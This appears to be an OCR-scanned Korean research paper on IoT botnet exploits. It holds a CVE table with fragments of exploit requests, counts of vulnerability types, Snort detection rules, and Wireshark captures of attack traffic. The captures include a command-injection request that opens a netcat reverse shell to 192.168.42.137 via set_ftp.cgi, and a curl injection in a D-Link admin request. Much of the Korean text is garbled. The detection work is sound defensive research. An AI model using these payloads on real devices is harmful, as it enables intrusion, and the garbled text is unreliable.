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2[CVE2005-2773_[Other 75 EDB-16887 HP OpenView Network NdCommand Injection /| Echobot(19) HP Open\|hitps//www.securityfocus. com/archive/1/409179GET /OvC
3|CVE2005-2847 _[Other 75 barracuda_spam_firewall:3|Command Injection - Crafted GET Request |Echobot(19) E9I0f 3.1]https,//marcinfo/21=bugtraq8m=1125600448132908w=2
4|CVE-2005-2848__|Other 5 EDB-1236 Barracuda Spam Firewall f{Information Disclosure - LFI Echobot(19) E0f 3.1]https;//www.exploit-db.com/exploits/1236GET Simg?f=9%2
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9[CVE 20084873 |noinfo 10} EDB-6364 Vacron NVR RCE Command Injection |’ Mozi(20) Sepal SPE|GET /cgi- bm/sphoard/buard cgitid=ors18number=908.cg
10[CVE2009-0545 __|CWE 20 10] EDB-8023 ZeroShell 'CGI-bin/kerbyn|Command Injection - Echobot(19) ZeroShell | GET /cgi-bin/kerbynet?Section=NoAUthREQ&Action=x50'
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12|CVE-2009-2765 |CWE-20 83 EDB-9209, EDB-100{DD-WRT 24 sp' Command Injection - 7 Echobot(19) DD-WRT 4GET /cgi-bin/;echo -ne cat v -l -p 7777 -e /t
13|CVE-2009-5149  |CWE-255 43 |Arris DGB60A, TG862A, an|Authentication Bypass - Predictable Creden|Hajime(16) =201 75(https./github.c i
14|CVE-2009-5156 |CWE-T7 10} 9.8[BID-35153 ASMAX Ar-804gu Command Injection - Crafted GET Request |Echobot(19) ASMAX A[GET /cgi-bin/script?system%20whoami Host: 154.251.89:8C
15|CVE-2009-5157  |CWE-77 9 88 Linksys WAG54G2 1.00.10 [Command Injection - ; Echobot(19) Linksys W]httpsy//www.securityfocus.comyarchive/1/503934GET /setu
16|CVE-2010-5330  |CWE-77 5 9.6[EDB-14146 Ubiquity Nanostations (AllCommand Injection - 7 Echobot(19) Ubiquity [[GET /stainfocqiifname=eth0icat%20/tmp/system.calgret
17|CVE-2011-3587__|noinfo 93 EDB-18262 Plone 40 (through 4.0.9); {Command Injection - Request Parameter _|Echobot(19) Plone 4.0JGET /p_/webda minido 0s/pt
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19[CVE-2011-5010 |CWE-264 10} EDB-18172 CTEK skyRouter 4200/430{Command Injection - Request Parameter _|Echobot(19) CTEK SkyPOST / HTTP/1.1 global: true uri: /apps/a3/cfg_ethpingcg
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oL Bic Authenti [ Cross- | o Denijal Bufier | Imfor Csrﬁ:‘*' Priviegel o4 Secirity Comm | ;o bitrciens et mr-siqu
injection [ inclusion | Soror, Sc?i"l;;“ghauersal 5k loverto fstan Rriqr;:; Escal injectior] Bypass “‘j‘::‘fim Redirect attack. [Injection|forpery ey
2227 1261 1020 | 1173 | 874 | 692 | 605 | 642 | 315 | 275 205 | 204 208 | 65 12 12 14 0
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== Command Injection
== Authentication Bypass
m Buffer Overflow

m Information Disclosure
B Denial of Service

Security Bypass
Cross-Site Scripting
Code Injection
File Inclusion
Privilege Escalation
Cross Site Request Forgery
B SERVER-SIDE REQUEST FORGERY
B SQL Injection

(T2l 5) loT ¢ &R

(CWEZ|g}) - Type A

(O 6) loT €# MFER(Eolze S& 7ghH -
Type B

A AA 256 % % 515E skl ol A
20%el SFsE HEE FAOR AN Aok
F A% AgEz Qee SUaeh 2 % 5%l

CMDi 34o] AA 50%% 9+ AS ﬂol?&u}. IoT
ArF 29l FAC 229l FFH v|&-S ] ¢

3 Type A 57 23] AA 18F F 1455 Fals}
gt} CMDi 22L& AA HEH F 57.14% 2 d=
< Felsisict

VI. loT YAZ=ZQl 2

Typeh. Type B 7% TipeA Type 671+
Authentication Bypass Q File Inchusion 4
Buffer Overflow 4 Information Disclosure 14
CRLF Injection 1 Path Traversal 8
Code Injection 3 Privilege Escalation 1
Command Injection B SQL Injection 8
Cross-Site Request Forgery 4 Security Bypass T
Cross-Site Scripting 3 URL Redirect 3

Denial of Service 13 oj2fo| WE 107
197

AR R
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6.1. Crafted-GET-Request(Authentication Bypass)

Crafted Get Request 574 IH7& &x|3}7] 94
(25 813 22 5& H8ssirt. FA& 242 GET
S Ao AR contentZt-> “/cgi-bin”ﬂ-
“Admin.asp”, “Password”, “sessionKey”o|t}. st ¢
2Z 291 [ 9]¢ CVE-2018-8898 k& o4
WA & FAg.

=

rlo

alert tcp any any -> any 8000 (msg:"Authentication Bypass / D-Link DSL-3782 /
Al_WI_20170303 SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E
6771696F6EET"": content:"GET": http_method: content : "/egi-bin" content: "Admi
n:asp'inocase: content:"Password”:nocase: content:“sessionKey":nocase: classtyp
e: Authentication-Bypass_Crafted-GET-Requests: reference : eve. CVE-2018-889
8:5id:10000002:)

(a2l 8) Crafted GET Request 32Fd EHX|

Wireshark - Follow HTTP Stream (tcp.stream eq 2) - ens33

GET /cgi-bin/New GUI/Set/Admin.asp?
Password=123123123123123&sessionKey=%24%2Bcurl+-sS+ht tp%3A%2F

| %2F192.168.1.1%2Fcgi-bin%2Fget%2FNew GUI%2Fget sessionKey.asp%29
HTTP/1.1

Host: 192.168.42.137:8000

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:72.€) Gecko/20100101
Firefox/72.0

Accept- Encudlng gzip, deflate

Accept: *

Connection: keep-alive

Referer: thewhiteh4t

(22 9) Crafted GET Request 37 mfZl M&
6.2. DictBruteForce_Telnet(Scanning Phase)

v)g}o] Bul9] Scanning Phase W19 F4/3 5
chtBruteForce Telnet FTAFEe A5 S8l [
d 10]7 22 & A43lch ?‘H"/} M= GET &
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alert tep any any -> any 8000 ( msg:"Wireless IP Camera (P2ZP) WIFICAM devices h
ave a backdoor root account that can be accessed with TELNET.™ content: "GET":
http_method: content: "/set_ftp.cgi”: content: "%24%28nc"nocase: classtype: Sca
nning-Phases_DictiBruteForce-Telnet: reference: cve. CVE-2017-8224: sid:20000
001:)

(22 10) DictBruteForce Telnet 34RE EHX|

=

) Wireshark : Follow HTTP Stream (tcp.stream eq 1) - ens33

GET /set_ftp.cgi?
next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=
21&user=ftp&pwd=%24%28nc+192.168.42. 137+8000+-e+%2Fbin%2Fsh&dir=
%2F&mode=PORT&upload interval=6 HTTP/1.1

Host: 192.168.42.137:8000

User-Agent: python-requests/2.18.4

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

(22 11) DictBruteForce Telnet 22 ozl M&

s A5 & FHekh URI
“/set_ftp.cgi”9} “%24%28nc o]t} 3 YAF2 ol
(2% 11]9] CVE-2017-8224 #<Fg oF4- )7

gt

content

oz | Basiehe
ool Fbssieh 55 A4 oaEmsl ¥A F
Command injection, Authentication Bypass, Buffer
Overflow?} 75.16%% 8-S AA|sln2 Folx)

o5 Aot ST o] Baslehn A,
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